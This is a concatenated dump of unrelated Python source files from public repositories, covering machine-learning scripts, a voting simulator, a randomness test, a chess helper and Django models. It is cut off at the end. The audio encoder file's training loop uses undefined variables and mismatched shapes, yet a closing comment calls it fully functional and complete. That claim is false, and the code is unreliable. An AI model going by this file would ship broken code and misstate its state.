template)\n","repo_name":"EvgeniyBudaev/yatube2","sub_path":"about/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"69948460858","text":"# Import the required libraries \nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.svm import SVC\nfrom scipy.sparse import coo_matrix, vstack\nimport pandas as pd\nimport json\nfrom sklearn import manifold\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.ensemble import GradientBoostingClassifier\nimport numpy as np # linear algebra\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfrom sklearn.preprocessing import normalize\nfrom scipy.sparse import coo_matrix\nfrom sklearn.feature_extraction.text import CountVectorizer\n\ndef cosine(plays):\n    normalized = normalize(plays)\n    return normalized.dot(normalized.T)\n\n\ndef bhattacharya(plays):\n    plays.data = np.sqrt(plays.data)\n    return cosine(plays)\n\n\ndef ochiai(plays):\n    plays = csr_matrix(plays)\n    plays.data = np.ones(len(plays.data))\n    return cosine(plays)\n\n\ndef bm25_weight(data, K1=1.2, B=0.8):\n    \"\"\" Weighs each row of the matrix data by BM25 weighting \"\"\"\n    # calculate idf per term (user)\n    N = float(data.shape[0])\n    idf = np.log(N / (1 + np.bincount(data.col)))\n\n    # calculate length_norm per document (artist)\n    row_sums = np.squeeze(np.asarray(data.sum(1)))\n    average_length = row_sums.sum() / N\n    length_norm = (1.0 - B) + B * row_sums / average_length\n\n    # weight matrix rows by bm25\n    ret = coo_matrix(data)\n    ret.data = ret.data * (K1 + 1.0) / (K1 * length_norm[ret.row] + ret.data) * idf[ret.col]\n    return ret\n\n\ndef bm25(plays):\n    plays = bm25_weight(plays)\n    return plays.dot(plays.T)\n\ndef get_largest(row, N=10):\n    if N >= row.nnz:\n        best = zip(row.data, row.indices)\n    else:\n        ind = np.argpartition(row.data, -N)[-N:]\n        best = zip(row.data[ind], row.indices[ind])\n    return sorted(best, reverse=True)\n\n\ndef calculate_similar_artists(similarity, artists, artistid):\n    neighbours = similarity[artistid]\n    top = get_largest(neighbours)\n    return [(artists[other], score, i) for i, (score, other) in enumerate(top)]\n\n\n\ndef tf_svd_vec(data,descr,k,ngram):\n    # attention: an 100.000 rows database returns a 100kx100k =10G matrix\n    #from sklearn.decomposition import TruncatedSVD\n    from sklearn.feature_extraction.text import CountVectorizer\n    from sklearn.metrics.pairwise import cosine_similarity\n    from scipy.sparse.linalg import svds\n    \n    vec = CountVectorizer(ngram_range=(1,ngram),strip_accents='ascii',min_df=0.00125 )  #,token_pattern=\"[a-zA-Z]*\")\n    # term frequency data train, data.name\n    tf= vec.fit_transform(data[descr].fillna(''))\n    print('term Frequency',tf.shape)\n    #print('words',vec.get_feature_names())\n    #svd = TruncatedSVD(n_components=k, n_iter=7, random_state=42)\n    Ur, Si, VTr = svds(bm25_weight(coo_matrix(tf)), k=k)\n    #Ur=svd.fit_transform(bm25(coo_matrix(tf)))  #all words\n    #print(svd.explained_variance_ratio_)  \n    #print('explained variance',svd.explained_variance_ratio_.sum())\n    #reduced vectorspace to k features\n    #Xrdf=pd.DataFrame(cosine_similarity(Xr,Xr[:100]))\n    #print('reduced term freq',Xrdf[:5])\n    print('Ur,Si,VTr shape',Ur.shape,Si.shape,VTr.shape)\n    VTr=pd.DataFrame(VTr,columns=vec.get_feature_names())\n    Ur=pd.DataFrame(Ur,index=data.index)\n    return Ur,VTr\n\ndef OptSim(trainm,veld1,veld2,k,ngram):\n    from scipy.sparse.linalg import svds\n    Ux,Vx=tf_svd_vec(trainm,veld1,k,ngram)\n    Uy,Vy=tf_svd_vec(trainm,veld2,k,ngram)\n    comwords=list(set(Vx.columns).intersection(Vy.columns))\n    comwords=[x for x in comwords if len(x)>2]\n    print('nr common words to align',len(comwords))    \n    Uo,So,VTo=svds( Vy[comwords].dot(Vx[comwords].T),k=int(k*.8) )\n    #\n    print('matrix alignment',Uo.shape,VTo.shape )\n    Osim=np.matmul(Uo,VTo)\n\n    print('Osim',Osim.shape)\n    return Vx,pd.DataFrame(VTo.dot(Vx),columns=Vx.columns),Vy,pd.DataFrame(Uo.T.dot(Vy),columns=Vy.columns) \n\n#Ux,Vx=tf_svd_vec(train,'naam',500)\n#Ux,Vx=tf_svd_vec(para,'klasnaam',100)\nfrom sklearn.metrics.pairwise import cosine_similarity\n\nimport re\n\ndef cleanhtml(raw_html):\n    cleanr = re.compile('<.*?>')\n    cleantext = re.sub(cleanr, '', raw_html)\n    return cleantext\n# Dataset Preparation\nprint (\"Read Dataset ... \")\ntrain = pd.read_json('../input/train.json')\ntest = pd.read_json('../input/test.json')\nprint(train.head())\nprint(test.head())\ntrain[['id','cuisine']].groupby('cuisine').count().plot(kind='bar')\n\n# Text Data Features\n\nprint (\"Prepare text data of Train and Test ... \")\ntrain_text = train['ingredients'].map(\" \".join)\ntest_text = test['ingredients'].map(\" \".join)\ntrain_text.columns=['ingredients']\npd.DataFrame(train_text)\ntest.shape\ndef zoekkeywords(padf,groepb,groeptxt,ngram):\n    para3d=padf.groupby(groepb).apply(lambda x : x[groeptxt].values)\n    para3d=pd.DataFrame(para3d,columns=[groeptxt])\n    for xi in range(0,len(para3d)):\n        tottxt=''\n        for yi in range(0,len(para3d.iloc[xi][groeptxt])):\n            tottxt=tottxt+' '+str(para3d.iloc[xi][groeptxt][yi])\n    \n        para3d.iloc[xi][groeptxt]=cleanhtml(tottxt)\n    \n    print(para3d)\n    Ux2,Vx2=tf_svd_vec(para3d,groeptxt,5,ngram)  #15 0.63\n    from sklearn.metrics.pairwise import cosine_similarity\n\n    UVklasse=pd.DataFrame(cosine_similarity(Ux2,Vx2.T),index=Ux2.index,columns=Vx2.columns)\n    print(UVklasse.head())\n    autoklas=pd.DataFrame([])\n    autoklas['klasse']=UVklasse.index\n    autoklas['woorden']='woorden'\n    for xi in range(0,len(UVklasse)):\n        klassind=UVklasse.index[xi]\n        #print(klassind)\n        tempo=pd.DataFrame(UVklasse.iloc[xi])\n        laatste=tempo.sort_values(by=klassind)[-10:]\n        #print(laatste)\n        text=laatste.index.values\n        tempo=tempo.sort_values(by=klassind,ascending=False)[:2900]\n        tempo=tempo[tempo[klassind]>tempo[klassind].max()*0.31]\n        #print(tempo)\n        autoklas.iat[xi,1]=\",\".join(tempo.index.values)\n\n    return autoklas,UVklasse\n\nklassekeywords=pd.DataFrame([])\nklassekeywords,UVsimilariteit=zoekkeywords(train,'cuisine','ingredients',1)\nklassekeywords.columns=['cuisine','ingredients']\n#klassekeywords.to_csv('d:klas_tagsb.csv',index=False)\n\n#klassekeywords=zoekkeywords(para,'klasse','titel',2)\n#klassekeywords['default']=\"Default group\"\n#klassekeywords.to_csv('d:klas_tagsc.csv',index=False)\nklassekeywords.ingredients\nTRu_,TRvh_=tf_svd_vec(pd.DataFrame((train_text.append(test_text)).append(klassekeywords.ingredients)) ,'ingredients',18,1)\nTRcos=cosine_similarity( TRu_[:len(train)+len(test)],TRu_[len(train)+len(test):] ) \nTRcos=pd.DataFrame(TRcos,columns=klassekeywords.cuisine)\nfrom sklearn.linear_model import LogisticRegression\nmodel = LogisticRegression(multi_class = 'ovr')\n#model.fit(TRcos[:len(train)], train.cuisine)\nmodel.fit(cosine_similarity(TRu_[:len(train)],TRvh_.T) ,train.cuisine)\n\n#(model.predict(TRcos[:len(train)])==train.cuisine).mean()\nfrom lightgbm import LGBMClassifier\n\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier, VotingClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.metrics import classification_report\n\n\nparams = {\n    'multi_class': 'ovr',\n    'solver': 'lbfgs'\n}\n\nlgbm_params = {\n    'n_estimators': 250,\n    'max_depth': 22,\n    'learning_rate': 0.2,\n    'objective': 'multiclass',\n    'n_jobs': 7\n}\n\nmodel = LGBMClassifier(**lgbm_params)\n# model = LogisticRegression(**params)\nmodel.fit(TRcos[:len(train)], train.cuisine)\nprint(model)\n\n\ny_true =train.cuisine\ntarget_names = model.classes_\ny_pred = model.predict(TRcos[:len(train)])\nprint(classification_report(y_true, y_pred, target_names=target_names))\n\n\nsubmission = model.predict(TRcos[len(train):len(train)+len(test)])\nsubmission_df = pd.Series(submission, index=test.index).rename('cuisine')\nsubmission_df.to_csv(\"logistic_sub.csv\", index=True, header=True)\nprint(submission_df.head())\nsubmission = model.predict(TRcos[len(train):len(train)+len(test)])\n\nsubmission_df=pd.DataFrame(submission)\nsubmission_df['id']=test.id\nsubmission_df.columns=['cuisine','id']\nsubmission_df.shape\nsubmission_df.to_csv(\"logistic_sub.csv\", index=False, header=True)","repo_name":"aorursy/new-nb-5","sub_path":"plarmuseau_cosinesimilarity.py","file_name":"plarmuseau_cosinesimilarity.py","file_ext":"py","file_size_in_byte":8345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30475152978","text":"import numpy as np\nfrom candidate import Candidate\nfrom citizen import Citizen\nfrom collections import defaultdict\n\nclass VotingMachine:\n    def __init__(self, method, candidates):\n        self.method = method\n        self.count = defaultdict(int)\n        self.ballots = []\n        self.countVoted = 0\n        self.candidates = candidates\n\n    def tally(self, ballot):\n        self.ballots.append(ballot)\n        if ballot is None or len(ballot) == 0:\n            return\n        if self.method == \"traditional\":\n            self.tallyTraditional(ballot)\n        elif self.method == \"ranked\":\n            self.tallyRanked(ballot)\n        elif self.method == \"approval\":\n            self.tallyApproval(ballot)\n\n    def tallyTraditional(self, ballot):\n        self.count[ballot[0]] += 1\n\n    def tallyRanked(self, ballot):\n        self.count[ballot[0]] += 1\n        self.countVoted += 1\n    \n    def tallyApproval(self, ballot):\n        for c in ballot:\n            self.count[c] += 1\n    \n    def resultsCalc(self):\n        results = []\n        for k in self.count.keys():\n            results.append((k, self.count[k]))\n        votes = [r[1] for r in results]\n        ndx = np.argsort(votes)\n        r = []\n        for n in reversed(ndx):\n            r.append(results[n])\n        return r\n\n    def getResults(self):\n        if (self.method == \"traditional\") or (self.method == \"approval\"):\n            return self.resultsCalc()\n        \n        if self.method == \"ranked\":\n            isWinner = False\n            while not isWinner:\n                winner = max(self.count, key=lambda key: self.count[key])\n                votes = self.count[winner]\n                if votes/self.countVoted > 0.5:\n                    return self.resultsCalc()\n                \n                # eliminate lowest votes\n                loser = self.calculateLoser()\n                self.deleteLoser(loser)\n\n    \n    def deleteLoser(self, loser):\n        self.count = defaultdict(int)\n        self.countVoted = 0\n        ballots = self.ballots\n        self.ballots = []\n        for b in ballots:\n            if loser in b:\n                b.remove(loser)\n            self.tally(b)\n        self.candidates.remove(loser)\n\n    def calculateLoser(self):\n        minCount = 100000000\n        loser = None\n        for c in self.candidates:\n            if self.count[c] < minCount:\n                minCount = self.count[c]\n                loser = c\n        return loser\n","repo_name":"rvtayal/votingSim","sub_path":"votingMachine.py","file_name":"votingMachine.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39336462122","text":"import pygame\nimport sys  # importing modules to use in the program\nfrom pygame.locals import *\n\npygame.init()  # initializing pygame\n\n# creating a window of size 400x300\nwindow = pygame.display.set_mode((400, 300))\n# setting the title of the window\npygame.display.set_caption(\"Titulo de la ventana\")\n# setting the background color\nbgcolor = (1, 150, 70)\nwhile True:  # loop to keep the window open\n    window.fill(bgcolor)  # filling the window with the background color\n    for event in pygame.event.get():  # getting the events from the window\n        if event.type == QUIT:  # if the event is a quit event\n            pygame.quit()  # closing the window\n            sys.exit()  # closing the program\n        pygame.display.update()  # updating the window\n","repo_name":"Titania792/creating_a_python_game","sub_path":"template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20056441254","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchaudio\nimport torchvision\n\nn_mels = 128 \nn_frames = 101\nn_patches = 196\nn_heads = 12\nn_layers = 12\nd_model = 768\nd_ff = 3072\ndropout = 0.1\n\n# Define mel spectrogram extractor\nmel_spec = torchaudio.transforms.MelSpectrogram(\n    sample_rate=16000,\n    n_mels=n_mels,\n    n_fft=1024,\n    hop_length=320,\n    f_min=50,\n    f_max=14000\n)\n\n# Define Vision Transformer (ViT)\nclass ViT(nn.Module):\n    def __init__(self, in_channels, patch_size, n_patches, n_layers, n_heads, d_model, d_ff, dropout):\n        super().__init__()\n        self.in_channels = in_channels\n        self.patch_size = patch_size\n        self.n_patches = n_patches\n        self.n_layers = n_layers\n        self.n_heads = n_heads\n        self.d_model = d_model\n        self.d_ff = d_ff \n        self.dropout = dropout\n        \n        self.patch_embedding = nn.Conv2d(in_channels, d_model, kernel_size=patch_size, stride=patch_size)\n        self.pos_embedding = nn.Parameter(torch.randn(1, n_patches, d_model))\n        self.layers = nn.ModuleList([nn.TransformerEncoderLayer(d_model, n_heads, d_ff, dropout) for _ in range(n_layers)]) \n        self.norm = nn.LayerNorm(d_model)\n        \n    def forward(self, x):\n        #x: (batch_size, in_channels, height, width)\n        x = self.patch_embedding(x) # (batch_size, d_model, height/patch_size, width/patch_size)\n        x = x.flatten(2) # (batch_size, d_model, n_patches)\n        x = x + self.pos_embedding\n        for layer in self.layers:\n            x = layer(x)\n        x = self.norm(x) # (batch_size, n_patches, d_model)\n        return x\n\n# Define projection head\nclass Projection(nn.Module):\n    def __init__(self, d_model, d_proj):\n        super().__init__()\n        self.proj = nn.Linear(d_model, d_proj)\n        \n    def forward(self, x):\n        x = self.proj(x)\n        return x\n\n# Define audio encoder \nclass AudioEncoder(nn.Module):\n    def __init__(self, n_mels, n_frames, n_patches, n_layers, n_heads, d_model, d_ff, dropout, d_proj):\n        super().__init__()\n        self.n_mels = n_mels\n        self.n_frames = n_frames\n        self.n_patches = n_patches\n        self.n_layers = n_layers\n        self.n_heads = n_heads\n        self.d_model = d_model\n        self.d_ff = d_ff\n        self.dropout = dropout\n        self.d_proj = d_proj\n        \n        self.spec_trans = nn.Conv2d(1, d_model, kernel_size=(n_mels, 1))\n        self.pos_embedding = nn.Parameter(torch.randn(1, n_patches, d_model))\n        self.layers = nn.ModuleList([nn.TransformerEncoderLayer(d_model, n_heads, d_ff, dropout) for _ in range(n_layers)]) \n        self.norm = nn.LayerNorm(d_model)\n        self.proj = Projection(d_model, d_proj)\n        \n    def forward(self, x):\n        #x: (batch_size, 1, n_mels, n_frames)\n        x = self.spec_trans(x) # (batch_size, d_model, n_mels, n_frames)\n        x = x.permute(0, 2, 1, 3) # (batch_size, n_mels, d_model, n_frames)\n        x = x.flatten(1,2) # (batch_size, n_patches, d_model) \n        x = x + self.pos_embedding\n        for layer in self.layers:\n            x = layer(x)\n        x = self.norm(x) # (batch_size, n_patches, d_model)\n        x = self.proj(x) # (batch_size, n_patches, d_proj)\n        return x\n\ncriterion = nn.CrossEntropyLoss()  \noptimizer = torch.optim.AdamW(model.parameters(), lr=3e-4, weight_decay=1e-2)   \n\nfor epoch in range(n_epochs):\n    for batch in train_loader:\n        #batch: (audio_clips, labels)\n        audio_clips = batch[0].to(device) # (batch_size, 1, n_mels, n_frames)\n        labels = batch[1].to(device) # (batch_size)\n        embeddings = model(audio_clips) # (batch_size, n_patches, d_proj)\n        logits = linear(embeddings) # (batch_size, n_classes)\n        loss = criterion(logits, labels)\n        \n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n\n# Assess if task is complete:\n# The audio_encoder.py file defines the model architecture and training procedure for \n# the audio encoder. It implements a Vision Transformer (ViT) to encode audio spectrograms \n# into fixed size embeddings which are used for classification. The code is fully functional \n# and complete. No remaining items need to be implemented.","repo_name":"seanward/ImageBind","sub_path":"audio_encoder.py","file_name":"audio_encoder.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2877770471","text":"#!/usr/bin/env python3.8\n\n# import modules\nimport pandas as pd\nimport sys\nimport argparse as ap\n\n# read arguments\np = ap.ArgumentParser()\np.add_argument(\"--bac-summary\", help=\"Summary file produced by gtdb-tk for the 120 bacterial markers\", required=True)\np.add_argument(\"--bin-sizes\", help=\"File containing MAG names and their total sizes in two columns\", required=True)\np.add_argument(\"--output-file\", help=\"Output table containing taxonomical annotations\", required=True)\nargs = p.parse_args()\n\n# read bac summary\nBac_summary = pd.read_csv(args.bac_summary, sep=\"\\t\", header=\"infer\", index_col=0)\nBac_summary = Bac_summary.loc[ : , [\"fastani_reference\", \"msa_percent\", \"classification\"] ]\nBac_summary.classification = Bac_summary.classification.str.replace(\" \", \"_\")\nBac_summary.index = Bac_summary.index.str.split(\"/\").str[-1]\nBac_summary.index = Bac_summary.index.rename(\"MAG\")\n\n# read bin sizes\nBin_sizes = pd.read_csv(args.bin_sizes, sep=\"\\t\", header=\"infer\", index_col=0)\nBin_sizes.index = Bin_sizes.index.str.split(\"/\").str[-1]\nBin_sizes.index = Bin_sizes.index.str.replace(\".fa\", \"\")\nBin_sizes.index = Bin_sizes.index.rename(\"MAG\")\n\n# merge dataframes\ndf = Bac_summary.merge(right=Bin_sizes, how=\"outer\", on=\"MAG\")\ndf = df.loc[ : , [\"Size(Mbp)\", \"msa_percent\", \"fastani_reference\", \"classification\"] ]\ndf = df.sort_values(by=[\"Size(Mbp)\", \"msa_percent\"], ascending=False)\n\n# create new columns for each classification\ndf[\"species\"] = df[\"classification\"].str.split(\";\").str[-1].str.replace(\"s__\", \"\")\ndf[\"genus\"] = df[\"classification\"].str.split(\";\").str[-2].str.replace(\"g__\", \"\")\ndf[\"family\"] = df[\"classification\"].str.split(\";\").str[-3].str.replace(\"f__\", \"\")\ndf[\"order\"] = df[\"classification\"].str.split(\";\").str[-4].str.replace(\"o__\", \"\")\ndf[\"class\"] = df[\"classification\"].str.split(\";\").str[-5].str.replace(\"c__\", \"\")\ndf[\"phylum\"] = df[\"classification\"].str.split(\";\").str[-6].str.replace(\"p__\", \"\")\ndf[\"domain\"] = df[\"classification\"].str.split(\";\").str[-7].str.replace(\"d__\", \"\")\n\n# fill empty\ndf = df.fillna(\"---\")\ndf = df.replace(\"\", \"---\")\n\n# reorder\ndf = df.loc[ : , [\"Size(Mbp)\", \"msa_percent\", \"fastani_reference\", \"species\", \"genus\", \"family\", \"order\", \"class\", \"phylum\", \"domain\"] ]\ndf = df.reset_index()\n\n# write to output\ndf.to_csv(args.output_file, sep=\"\\t\", index=False, header=True, na_rep=\"NA\")\n","repo_name":"MatteoSchiavinato/MAG_recovery","sub_path":"src/MAG-taxa-detection.py","file_name":"MAG-taxa-detection.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12142396698","text":"import math\nfrom tests import gamma_functions\n# from scipy.special import gamma, gammainc, gammaincc\n\n\ndef lgamma(x):\n    return math.log(gamma_functions.gamma(x))\n\n\ndef Pr(u, eta):\n    if (u == 0):\n        p = math.exp(-eta)\n    else:\n        sum = 0.0\n        for l in range(1, u + 1):\n            sum += math.exp(\n                -eta - u * math.log(2) + l * math.log(eta) - lgamma(l + 1) + lgamma(u) - lgamma(l) - lgamma(u - l + 1))\n        p = sum\n    return p\n\n\ndef test(bits, n, blen=6):\n\n    m = 10\n    # Build the template B as a random list of bits\n    B = [1 for x in range(m)]\n\n    N = 968\n    K = 5\n    M = 1062\n    if n < (M * N):\n        print(\"Insufficient data. %d bit provided. 1,028,016 bits required\" % n)\n        return False, 0.0, None\n\n    blocks = list()  # Split into N blocks of M bits\n    for i in range(N):\n        blocks.append(bits[i * M:(i + 1) * M])\n\n    # Count the distribution of matches of the template across blocks: Vj\n    v = [0 for x in range(K + 1)]\n    for block in blocks:\n        count = 0\n        for position in range(M - m):\n            if block[position:position + m] == B:\n                count += 1\n\n        if count >= (K):\n            v[K] += 1\n        else:\n            v[count] += 1\n\n    # lamd = float(M-m+1)/float(2**m) # Compute lambda and nu\n    # nu = lamd/2.0\n\n    chisq = 0.0  # Compute Chi-Square\n    # pi = [0.324652,0.182617,0.142670,0.106645,0.077147,0.166269] # From spec\n    pi = [0.364091, 0.185659, 0.139381, 0.100571, 0.0704323, 0.139865]  # From STS\n    piqty = [int(x * N) for x in pi]\n\n    lambd = (M - m + 1.0) / (2.0 ** m)\n    eta = lambd / 2.0\n    sum = 0.0\n    for i in range(K):  # Compute Probabilities\n        pi[i] = Pr(i, eta)\n        sum += pi[i]\n\n    pi[K] = 1 - sum\n\n    # for block in blocks:\n    #    count = 0\n    #    for j in xrange(M-m+1):\n    #        if B == block[j:j+m]:\n    #            count += 1\n    #    if ( count <= 4 ):\n    #        v[count]+= 1\n    #    else:\n    #        v[K]+=1\n\n    sum = 0\n    chisq = 0.0\n    for i in range(K + 1):\n        chisq += ((v[i] - (N * pi[i])) ** 2) / (N * pi[i])\n        sum += v[i]\n\n    p = gamma_functions.gammaincc(5.0 / 2.0, chisq / 2.0)  # Compute P value\n\n    print(\"  B = \", B)\n    print(\"  m = \", m)\n    print(\"  M = \", M)\n    print(\"  N = \", N)\n    print(\"  K = \", K)\n    print(\"  model = \", piqty)\n    print(\"  v[j] =  \", v)\n    print(\"  chisq = \", chisq)\n\n    success = (p >= 0.01)\n    print(\"p = \", p)\n    print(\"  success = \", success)\n\n\n\n\n\n\n# import math\n# import scipy.special as ss\n# from random import randint\n#\n#\n# def lgamma(x):\n#     return math.log(ss.gamma(x))\n#\n#\n# def Pr(u, eta):\n#     if ( u == 0 ):\n#         p = math.exp(-eta)\n#     else:\n#         sum = 0.0\n#         for l in range(1,u+1):\n#             sum += math.exp(-eta-u*math.log(2)+l*math.log(eta)-lgamma(l+1)+lgamma(u)-lgamma(l)-lgamma(u-l+1))\n#         p = sum\n#     return p\n#\n#\n# def test(input, n, blen=6):\n#\n#     m = 10\n#     # Build the template B as a random list of input\n#     B = [1 for x in range(m)]\n#\n#     N = 968 # The number of blocks as specified in SP800-22rev1a\n#     K = 5   # The number of degrees of freedom\n#     M = 1062 # Length of each block as specified in SP800-22rev1a\n#\n#     if len(input) < (M*N):\n#         # Too little data. Inputs of length at least M*N bits required (Recommended 1,028,016)\n#         return [0]*12\n#\n#     blocks = list() # Split into N blocks of M input\n#     for i in range(N):\n#         block = [None]*M\n#         for j in range(M):\n#             block[j] = int(input[i*M+j],2)\n#\n#         blocks.append(block)\n#\n#     # Count the distribution of matches of the template across blocks: Vj\n#     v=[0 for x in range(K+1)]\n#     for block in blocks:\n#         count = 0\n#         for position in range(M-m):\n#             if block[position:position+m] == B:\n#                 count += 1\n#\n#         if count >= (K):\n#             v[K] += 1\n#         else:\n#             v[count] += 1\n#\n#     chisq = 0.0  # Compute Chi-Square\n#\n#     pi = [0.364091, 0.185659, 0.139381, 0.100571, 0.0704323, 0.139865] # From STS\n#     piqty = [int(x*N) for x in pi]\n#\n#     lambd = (M-m+1.0)/(2.0**m)\n#     eta = lambd/2.0\n#     sum = 0.0\n#     for i in range(K): #  Compute Probabilities\n#         pi[i] = Pr(i, eta)\n#         sum += pi[i]\n#\n#     pi[K] = 1 - sum\n#\n#     sum = 0\n#     chisq = 0.0\n#     for i in range(K+1):\n#         chisq += ((v[i] - (N*pi[i]))**2)/(N*pi[i])\n#         sum += v[i]\n#\n#     p = ss.gammaincc(5.0/2.0, chisq/2.0) # Compute P value\n#\n#     if p >= 0.01:\n#         return print(\"08 = \", True)\n#     else:\n#         return print(\"08 = \", False)\n","repo_name":"Sushken/PRNG","sub_path":"tests/overlapping_template_matching_test_08.py","file_name":"overlapping_template_matching_test_08.py","file_ext":"py","file_size_in_byte":4636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22619669632","text":"# Convert an input to python form\ndef input_converter(move):\n    # String length is less than 2 causes an error\n    if len(move) < 2:\n        return ValueError\n\n    # Converts letter part of coord\n    col = ord(move[0].upper()) - 65\n    if col < 65 and col > 72:\n        return ValueError\n\n    # Converts number part of coord\n    if not move[1].isdigit() or int(move[1]) < 1 or int(move[1]) > 8:\n        return ValueError\n    row = int(move[1]) - 1\n    row = abs(row - 7)\n\n    return row, col\n\n# Convert python coordinates to chess coordinates\ndef coordinate_converter(move):\n    if len(move) < 2:\n        return ValueError\n\n    # Converts letter part of coord\n    col = chr(move[1] + 97)\n\n    # Converts number part of coord\n    row = str(abs(move[0] - 7) + 1)\n\n    return col + row","repo_name":"CountIV/Discord-bot","sub_path":"games/chess/input_converter.py","file_name":"input_converter.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"5560510253","text":"import json\nimport time\n\nfrom django.db import models\nfrom django.contrib.postgres.search import SearchVector\nfrom django.utils.text import slugify\nfrom django_better_admin_arrayfield.models.fields import ArrayField\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom core.utils import normalize_text, unique, crypt\n\n\ninvoice_data = {\n    \"hourly_price\": 0,\n    \"services\": [],\n    \"author\": {\n        \"name\": \"\",\n        \"email\": \"\",\n        \"phone\": \"\",\n        \"street\": \"\",\n        \"zipcode\": \"\",\n        \"city\": \"\",\n        \"rcc\": \"\",\n        \"iban\": \"\",\n    },\n    \"therapist\": {\n        \"firstname\": \"\",\n        \"lastname\": \"\",\n        \"email\": \"\",\n        \"phone\": \"\",\n        \"street\": \"\",\n        \"zipcode\": \"\",\n        \"city\": \"\",\n        \"rcc\": \"\",\n    },\n}\n\n\nclass Practice(models.Model):\n    name = models.CharField(max_length=50, unique=True, blank=False)\n    slug = models.SlugField(max_length=50, unique=True, blank=False)\n\n    def __str__(self):\n        return str(self.name)\n\n    class Meta:\n        ordering = [\"slug\"]\n\n\nclass SymptomManager(models.Manager):\n\n    def search(self, terms):\n        terms = normalize_text(terms).split(' ')\n        replaced = []\n        for t in terms:\n            synonym = Synonym.objects.annotate(\n                search=SearchVector(\"name\", \"words\", config=\"french\"),\n            ).filter(search=t)\n            replaced.append(synonym.first().name if synonym.first() else t)\n        return Symptom.objects.annotate(\n            search=SearchVector(\"name\", \"keywords\", config=\"french\"),\n        ).filter(search=' '.join(replaced))\n\n\nclass Symptom(models.Model):\n    name = models.CharField(max_length=100, unique=True)\n    parent = models.ForeignKey(\"self\", null=True, blank=True, on_delete=models.SET_NULL)\n    synonyms = ArrayField(models.CharField(max_length=50))\n    keywords = models.TextField()\n\n    objects = SymptomManager()\n\n    def __str__(self):\n        return str(self.name)\n\n    class Meta:\n        ordering = [\"name\"]\n\n\nclass SynonymManager(models.Manager):\n\n    def replace(self, term):\n        synonym = Synonym.objects.annotate(\n            search=SearchVector(\"name\", \"words\", config=\"french\"),\n        ).filter(search=term)\n        return synonym.first().name if synonym.first() else term\n\n\nclass Synonym(models.Model):\n    name = models.CharField(max_length=50, unique=True)\n    words = models.TextField()\n\n    objects = SynonymManager()\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        ordering = [\"name\"]\n\n\nclass Office(models.Model):\n    therapist = models.ForeignKey(\n        \"Therapist\", related_name=\"offices\", on_delete=models.CASCADE, null=False\n    )\n    street = models.CharField(max_length=100, null=True)\n    zipcode = models.CharField(max_length=5, null=True)\n    city = models.CharField(max_length=50, null=True)\n    country = models.CharField(max_length=2, default=\"ch\")\n    latlng = ArrayField(models.DecimalField(decimal_places=15, max_digits=17), size=2)\n\n    def __str__(self):\n        return f\"{str(self.therapist)} in {str(self.city)}\"\n\n    @property\n    def coordinates(self):\n        if not len(self.latlng) == 2:\n            return\n        return [float(ll) for ll in self.latlng]\n\n\nclass OfficePicture(models.Model):\n    def upload_to(self, *args, **kwargs):\n        return f\"offices/{self.uuid}\"\n\n    office = models.ForeignKey(Office, related_name=\"pictures\", on_delete=models.CASCADE)\n    file = models.ImageField(upload_to=upload_to)\n    uuid = models.CharField(default=unique, max_length=12)\n\n    def __str__(self):\n        return self.file.url\n\n\nMEMBERSHIPS = (\n    (\"pending\", \"En attente / suspendu\"),\n    (\"invitee\", \"Invité\"),\n    (\"member\", \"Membre\"),\n    (\"premium\", \"Payant\"),\n)\n\nGENDERS = (\n    (\"man\", \"Homme\"),\n    (\"woman\", \"Femme\"),\n)\n\nLANGUAGES = (\n    (\"en\", \"anglais\"),\n    (\"fr\", \"français\"),\n    (\"de\", \"allemand\"),\n    (\"ru\", \"russe\"),\n    (\"it\", \"italien\"),\n    (\"es\", \"espagnol\"),\n    (\"nl\", \"néerlandais\"),\n    (\"pl\", \"polonais\"),\n    (\"pt\", \"portugais\"),\n    (\"ro\", \"roumain\"),\n)\n\n\nclass TherapistMembersManager(models.Manager):\n    def get_queryset(self):\n        return super().get_queryset().filter(membership=\"member\")\n\n\nclass TherapistInviteesManager(models.Manager):\n    def get_queryset(self):\n        return super().get_queryset().filter(membership=\"invitee\")\n\n\nclass Therapist(models.Model):\n    def upload_to(self, *args, **kwargs):\n        return f\"therapists/{slugify(self.slug)}\"\n\n    slug = models.SlugField(max_length=100, unique=True, null=True)\n    firstname = models.CharField(max_length=100, null=True, blank=True)\n    lastname = models.CharField(max_length=100)\n    gender = models.CharField(max_length=6, default=\"woman\", choices=GENDERS)\n    email = models.EmailField(null=True, blank=True)\n    phone = models.CharField(max_length=15, null=True, 